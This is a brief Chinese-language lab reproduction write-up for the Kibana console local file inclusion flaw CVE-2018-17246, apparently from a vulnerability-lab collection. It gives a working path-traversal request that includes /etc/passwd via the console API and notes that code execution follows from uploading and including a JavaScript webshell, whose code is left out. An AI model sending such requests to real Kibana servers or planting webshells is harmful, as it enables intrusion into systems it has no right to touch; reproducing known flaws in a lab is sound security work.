Kibana 本地文件包含 (CVE-2018-17246)
Kibana 是一个用于 Elasticsearch 的开源数据可视化仪表板。
6.4.3 和 5.6.13 之前的 Kibana 版本在控制台插件中包含任意文件包含缺陷。有权访问 Kibana 控制台 API 的攻击者可以发送尝试执行 javascript 代码的请求。这可能会导致攻击者在主机系统上使用 Kibana 进程的权限执行任意命令。
参考:
- https://nvd.nist.gov/vuln/detail/CVE-2018-17246
- https://www.cyberark.com/threat-research-blog/execute-this-i-know-you-have-it/
漏洞复现
启动环境后,Kibana 正在监听http://192.168.44.132:5106
发送以下请求以触发基本路径遍历:
1 | http://192.168.44.132:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd |
尽管除了带有 500 状态代码的错误消息外没有任何响应,但您可以在以下内容中看到异常docker-compose logs
:
文件/etc/passwd
导入成功。
要利用此漏洞,您需要将 JavaScript webshell 上传到运行 Kibana 的机器,然后将其包含在内。
1 | // docker-compose exec kibana bash && echo '...code...' > /tmp/vulhub.js |